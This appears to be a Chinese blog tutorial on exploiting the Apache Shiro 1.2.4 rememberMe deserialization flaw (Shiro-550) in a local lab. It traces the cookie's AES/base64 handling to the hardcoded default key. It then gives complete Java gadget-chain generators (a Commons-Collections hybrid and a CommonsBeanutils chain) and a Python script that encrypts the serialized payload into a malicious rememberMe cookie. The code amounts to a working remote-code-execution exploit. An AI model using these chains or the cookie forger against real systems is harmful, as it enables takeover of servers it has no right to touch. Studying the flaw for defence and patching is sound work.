shiro550(包括加密流程分析,cc链和CB链两种打法)!!!
环境搭建:
github上把源码拉下来
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
拉下源码后编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
漏洞复现:
运行tomcat之后,登录抓包发送,发现响应包就带有remberme字段

加密过程分析:
然后就是去看一下这个remberme的字段在java里面是如何生成的?

然后在这个函数里面发现了base64解码的操作,说明数据是经过一次base64加密的

然后去看哪个方法调用了getRemberedSerializedIdentity函数,然后找到了如下这个函数

看代码发现bytes获取到getRemberedSerializedIdentity函数返回的值后又被传到了converBytesToPrincipals方法里面,然后跟进去看看

发现总共两个操作,一个解码,一个反序列化函数,然后看一看decrypt函数,然后发现又调用了一次这个函数

跟进去发现是一个接口,然后传进去一个加密的字段,然后是一个key

说明getDecryptionCipherKey就是获取key,跟进去看看

发现是一个常量,看看哪里赋值了

然后就是一直找调用函数的方法




然后就成功找到key了,很简单,上面的过程只需要去找调用目标函数的其他函数即可
同样我们发现文档里面注释写了是aes加密
总结:
构造恶意的序列化cookie remberMeDE的值->base64解码->aes(利用key)解密->反序列化->执行恶意代码
commons-collections_3.2.1_payload利用
这样的话加解密流程就已经清楚了,接下来就是构造payload了,很多人会说使用cc链去打,因为在shiro里的外部库里面有这个依赖

但实际上这个包是一个test依赖,而maven在加载的时候只会加载compile和runtime的依赖,所以实际上不添加依赖行不通

但是我们可以手动添加一下,尝试用cc打一下(毕竟这只是shiro默认的,在实际生产环境中可能会加载这个依赖)

cc2+3+6(ysoserial的cc2链也能打通,是cc4.x的依赖)
第一波直接用cc6去打发现报错,提示无法加载到一个类其实就是transformer数组那个类

然后断点下到shiro反序列化的时候即调用readobject的时候

但仔细看代码发现他调用的并不是原生的ObjectInputStream的readobject,而是ClassResolvingObjectInputStream的
更进去看一下发现这个类重写了resolveClass方法(java反序列化一定会调用的一个方法)
对比没有重写原生的来看


发现调用forname的类不一样,所以我们看一下重写的ClassUtils的forname

仔细看发现可能会调用三次loadclass类加载(现成类加载器,当前类加载器以及系统类加载器)
宏观来看可以理解为classUtils的forname不能加载transformer数组类,而class的forname是可以的(仔细来看有点麻烦,是和tomcat的内置有关系)

所以回顾一下之前学的几条链,找一下哪些不用数组
最后找到的是cc2+cc6+cc3
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class shiro_236 {
public static void main(String[] args)throws Exception {
//cc3
TemplatesImpl templates = new TemplatesImpl();
Class tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/JavaStudy/java_src/serialize/tmp/Test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
//cc2
InvokerTransformer invokerTransformer =new InvokerTransformer("newTransformer",null,null);
//cc6
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazyMap= LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbbb");
lazyMap.remove(templates);
Class c=LazyMap.class;
Field factoryField=c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);
serialize(map2);
//unserialize("ser.bin");
}
public static void serialize(Object obj)throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}
然后exp.py运行,把生成的cookie放到bp里面替换发送就能弹窗了

exp.py:
import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
if __name__ == '__main__':
data = get_file_data("ser.bin")
print(aes_enc(data))
原生shiro commonsBeautils打shiro
● 属性复制:能把一个 JavaBean 属性值复制到另一个,便于 DTO 和实体类数据转换。
● 属性访问:可动态访问和修改 JavaBean 属性,依属性名动态操作。
● 数组和集合处理:能处理 JavaBean 中数组和集合类型属性。
● 类型转换:属性复制时可自动进行类型转换。
● 嵌套属性操作:支持对嵌套 JavaBean 属性进行操作。
JavaBean
是一种遵循特定编程约定的 Java 类,基本特征
● 私有属性:JavaBean 类会将数据封装成私有属性,以此来保证数据的安全性,防止外部代码直接对其进行修改。
● 公共访问方法:为每个私有属性提供对应的公共 getter 和 setter 方法,外界通过这些方法来访问和修改属性。
● 无参构造方法:JavaBean 必须包含一个无参的构造方法,这使得在创建对象实例时更加灵活,也便于一些框架(如 Spring)来实例化对象。
commonsBeautils就是可用通过PropertyUtils.getProperty来获取一个javabean的某一个变量的内容


这里getProperty方法就会自动调用person类的get$name/$age方法来获取名字或者年龄
显然这里就存在一个可能会动态执行代码的地方,跟到getProperty里面看看
发现里面调用了另一个对象的getProperty,在更进去看看,发现调用了getNestedProperty方法


然后看下面不满足那几个if条件会调用getSimpleProperty方法

更进去里面动态调试后会发现它会调用我们传入的属性值的set和get方法

然后接着就会有根据获取到的方法来进行反射调用

然后我们可以想到在TemplatesImpl类里面有个getOutputProperties方法,用到了newtransformer

我们知道newtramsformer是可以动态加载类的
然后注意到getOutputProperties是get打头的,是符合javabean的格式
然后结合cc3的templates,缝合一个暂时的代码

发现就能弹计算器了,所以接下来要做的就是去找一个链子,看来头是能反序列化的,然后中间又是能调用getProperty方法
tip:
因为在调用getProperty方法的时候,会把get和传进去的参数进行拼接然后调用getOutputProperties方法,在这个过程中java会把传参内容的首字母变成大写,而当我们直接传首字母为大写的参数的时候,他并不会弹计算器,这是因为在java中是小驼峰读法,当第一个字母为大写的时候,会识别不到这个参数,就会导致后续的都不会执行
然后找到了BeanComparator的compare方法调用了getProperty,而且变量可控

然后想到在cc2的时候会用到优先队列,在优先队列里的readobjct里面会调用一个heapify,然后heapify会调siftDown,siftDown会调用siftDownUsingComparator方法,在这个方法里面会调用comparator的compare方法

然后再cc2里面还调用了TransformingComparator,然后他的comparer方法会调用transformer的transform方法和compare方法
所以这整条链就连起来了
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class commonsBeautils {
public static void main(String[] args)throws Exception{
//cc3
TemplatesImpl templates = new TemplatesImpl();
Class tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// Field tfactoryField=tc.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl());
byte[] code= Files.readAllBytes(Paths.get("D://Security/JavaStudy/java_src/serialize/tmp/Test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
//cb
//PropertyUtils.getProperty(templates,"outputProperties");
BeanComparator beanComparator = new BeanComparator("outputProperties");
//cc2
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class<PriorityQueue> c=PriorityQueue.class;
Field comparatorField = c.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,beanComparator);
serialize(priorityQueue);
//unserialize("ser.bin");
}
public static void serialize(Object obj)throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}
但是最后exp.py执行之,替换remberme字段发送之后会报一个错,显示找不到

这是一个cc的东西,但是并没用到cc,为什么会报错呢?原因是cb在设计的时候和cc有很多重合的地方
BeanComparator的构造函数会传入一个ComparableComparator

而ComparableComparator实际上是cc里面的

但是下面有另一个beanComparator的构造方法,可以自己传一个comparator(cb有或者jdk里面有就行了)
最后找到的代替(既要继承comparator接口也要继承serialize接口)是

最后修改一下代码的这里就能弹计算器了


tip:
如果最后要用ysoserial打的话,要确保commons-beanutils的版本和shiro是一样的

不然就会报错

总结:
这条链就是引入了一种基于javabean的攻击方式,而这种攻击方式是在后续会经常用到的,比如fastjson,可以仔细多学习一下~

浙公网安备 33010602011771号